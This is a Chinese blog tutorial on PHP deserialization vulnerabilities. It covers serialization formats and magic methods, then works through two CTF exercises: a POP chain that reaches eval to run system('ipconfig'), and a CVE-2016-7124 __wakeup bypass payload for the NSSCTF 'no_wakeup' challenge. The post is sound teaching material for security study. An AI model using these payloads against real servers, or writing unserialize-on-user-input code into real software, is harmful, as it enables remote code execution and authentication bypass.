首页 > 编程语言 >PHP反序列化(ing)

PHP反序列化(ing)

时间:2024-11-20 20:10:16浏览次数:1  
标签:触发 ing admin 调用 passwd PHP test 序列化

类的结构

<?php
class hero{      //定义类(类名)
var $name;      //声明成员变量    ,    var是一种修饰符
var $sex;  
function jineng($var1) {        //声明成员函数(方法)
echo $this->name;               //使用预定义$this 调用成员变量
echo $var1;    }                //成员函数传参$var1可直接调用
}
$cyj = NEW hero() ;    //实例化
$cyj->name = 'cyj' ;     //参数赋值
$cyj->jineng('zuofan') ; //调用函数
?>

类的修饰符

public    公共的,在类的内部、子类中,或者类的外部都可以使用,不受限制
protected    受保护的,在类的内部和子类中可以使用,不能再外部使用
private    私有的, 只能在类的内部使用

序列化

private私有属性序列化时,变量前会加上 '%00类名%00' ,如

当提交序列化时需要手动添加%00 ,如下面的序列化提交时需要变成
O:4:"hero":1:{s:10:"%00testname%00";s:6:"benben";}

<?php
class hero{
private $name = 'benben';
}
$cyj = NEW hero() ;
echo serialize($cyj) ;
?>
output:  O:4:"hero":1:{s:10:"testname";s:6:"benben";}    
'testname'  即  '0test0name'

protected受保护属性序列化时,变量前会加上 '%00*%00' , 如

<?php
highlight_file(__FILE__);
class test{    
protected $pub='benben';    
function jineng(){        
echo $this->pub;    }
}
$a = new test();
echo serialize($a);
?>
O:4:"test":1:{s:6:"*pub";s:6:"benben";}    '*pub' 即 '0*0pub'

使用urlencode可以避免privated和protected中的标识

反序列化

反序列化之后的内容为一个对象
反序列化生成的对象里的值,由反序列化里的值提供;与原有类预定义的值无关
反序列化不触发类的成员方法,需要调用方法才能触发

反序列化漏洞生成的原因:反序列化时函数 unserialize() 接收到的值可控,即可以通过改变成员变量,利用成员函数达到一定目的

魔术方法

一个预定好的,在特定情况下自动触发的行为方法

_construct()    构造函数,在实例化一个对象的时候,首先会去执行的一个方法。
_destruct()     析构函数,在对象的所有引用被删除或者当对象被显示销毁时执行的魔术方法

_sleep()    触发时机:在序列化serialize()之前
_Wakeup()   触发时机:在反序列化unserialize()之前

_tostring()    触发时机:把对象当成字符串使用时    
_invoke()    触发时机:把对象当成一个函数使用时

_call()    触发时机:调用一个不存在的方法    返回值:调用的不存在的方法名和参数
_callStatic()    触发时机:静态调用或调用成员常量时使用的方法不存在    返回值:调用的不存在的方法名和参数
_get()    触发时机 :调用的成员属性不存在    返回值:不存在的成员名称
_set()    触发时机:给不存在的成员赋值时    返回值:不存在的成员名称和值
_isset()    对不可访问的成员(protected,private或不存在的成员)使用isset()或empty()时,方法被调用,返回值为不存在的成员名称
_unset()    对不可访问的成员使用unset()时被触发
_clone()    当使用clone关键词拷贝一个对象后,新对象会自动调用定义的魔术方法_clone()

POP链

  • 一道php反序列化例题
点击查看代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class index {
    private $test;
    public function __construct(){
    $this->test = new normal();
    }
    public function __destruct(){
    $this->test->action();
    }
}
class normal {
    public function action(){
    echo "please attack me";
    }
}
class evil {
    var $test2;
    public function action(){
    eval($this->test2);
    }
}
unserialize($_GET['test']);
?>

思路:可利用函数:eval ,发现eval执行的是$test2 , 又发现魔术方法_destruct中调用了$test中的action函数,于是想到把参数test赋值为一个evil类,其中的$test2为需执行命令的payload,所以构造出代码

点击查看代码
<?php

class index {
    private $test;
    public function __construct(){
        $this->test = new evil();
    }
    //public function __destruct(){
    //    $this->test->action();
    //}

}
class evil {
    var $test2 = "system('ipconfig');";
    public function action(){
        eval($this->test2);
    }
}
$a = new index();
echo urlencode(serialize($a));    //注意这里的$test为private 成员,需要url编码
?>

ps: 一开始我使用的payload为system('ls')发现根本执行不了,于是查找一番发现ls为linux或maxos的指令,对应的windows命令为dir ,于是使用system('dir') 发现还是不行,后来使用exec_shell()发现dir可以使用了
魔术方法被触发的前提是所在的类被调用

相关姿势:

_wakeup绕过(CVE-2016-7124)

漏洞影响版本:

PHP5 < 5.6.25
PHP7 < 7.0.10


简述&方法:
1、魔术方法_wakeup将会在反序列化函数unserialize生效前执行
2、当序列化字符串中表示对象的属性个数值大于真实的个数时将直接跳过魔术方法_wakeup的执行

例题

NSSCTF——[SWPUCTF 2021 新生赛]no_wakeup

题目源码

点击查看代码
 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

分析过程:

存在类HaHaHa
类中存在参数$admin和$passwd
实例化时将给参数赋值一次(__construct)
反序列化之前将$passwd用sha1编码(__wakeup)
销毁实例时验证参数是否正确(__destruct)
绕过__wakeup并将$admin赋值为admin 将$passwd赋值为wllm

获取序列化字符串

<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "wllm";
    }
}
$p = new HaHaHa();
echo serialize($p);
?>
output>   O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

payload:(将对象属性个数值改为3)
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

标签:触发,ing,admin,调用,passwd,PHP,test,序列化
From: https://www.cnblogs.com/abigmalon/p/18559178

相关文章

  • Spring接口缓存实现方案Caffeine和EhCache
    Spring接口缓存实现方案Caffeine和EhCache1.引入jar包compile("com.github.ben-manes.caffeine:caffeine:2.8.6")compile("org.springframework.boot:spring-boot-starter-cache")2.application.properties##配置ehcachespring.cache.ehcache.config=classp......
  • Integrating Streamlit and Langchain data analysis agent-entrance
    url:https://www.cnblogs.com/devcxx/p/18550789一、StreamlitintroduceStreamlitisanopen-sourcePythonlibraryforquicklybuildingdatavisualizationandinteractivewebapplications.Itisspecificallydesignedfordatascientistsandengineers,usings......
  • 信步漫谈之SpringBoot配置相关注释
    目录目标@ConfigurationProperties@EnableConfigurationProperties@Configuration示例代码参考资料(感谢)目标@EnableConfigurationProperties、@ConfigurationProperties、@Configuration区别和用法@ConfigurationProperties将我们项目中的yaml文件或者properties文件......
  • [题解]CF1685B Linguistics
    @hzjoiineg为什么是神?思路首先将\(S\)中A的数量不等于\(a+c+d\)的情况判掉。然后将\(S\)划分为ABAB...和BABA...的若干段,对于长度为奇数的段构造方案只能是如下构成:A开头为例):AB和BA共\(\lfloor\frac{len}{2}\rfloor\)个,再加一个A。将\(a\)减一,并用......
  • springboot毕设公司人事管理系统程序+论文
    系统程序文件列表开题报告内容研究背景在当今快速发展的信息化时代,企业管理正逐步向智能化、高效化转型。人事管理作为企业运营的核心环节之一,其效率与准确性直接关系到企业的竞争力与可持续发展能力。传统的人事管理方式往往依赖于纸质文档和人工操作,不仅耗时费力,还容易出......
  • springboot毕设公司人事档案管理系统程序+论文
    系统程序文件列表开题报告内容研究背景随着信息技术的飞速发展和企业管理理念的不断更新,人事档案管理作为企业日常运营中的重要环节,其效率与准确性直接关系到企业的竞争力和运营效率。传统的纸质档案管理方式不仅占用大量空间资源,还存在查询效率低、信息易丢失或篡改等问题......
  • ARS Reinforcement Learning using Gymnasium
    ARS-CourseworkGuide–24/25VersionHistory1.029/09/24Firstversion.1.1Fleshedoutmarkingcriteriafortask2reportSummaryTitle:ReinforcementLearningusingGymnasiumenvironmentsHand-in:ProgramsANDawrittenreportwillneedtobesubmittedon......
  • 【Java系列】Spring Boot 配置Spring Native 详细步骤
    配置SpringNative以减少SpringBoot应用的启动时间,涉及几个关键步骤,包括设置相应的依赖、配置文件以及构建过程。以下是详细的步骤和配置示例:一、前提条件确保你的项目使用的是SpringBoot2.5或更高版本,并且使用Java11或更高版本。二、添加依赖在你的pom.x......
  • AI之旅-语义搜索:初识 vector embedding 与部署向量数据库 qdrant
    AI之旅实现的第一个功能是基于大模型的vectorembedding进行语义搜索(semanticsearch)。(图片来源:kdnuggets.com)基于大模型实现的聊天机器人虽然能打字和你聊天,但大模型却大字不识一个,它只识数(向量)与只会计算,它不会玩文字游戏,只会玩数字游戏。任何一段文字,在大模型的眼里只是......
  • A037-基于Spring Boot的二手物品交易的设计与实现
    ......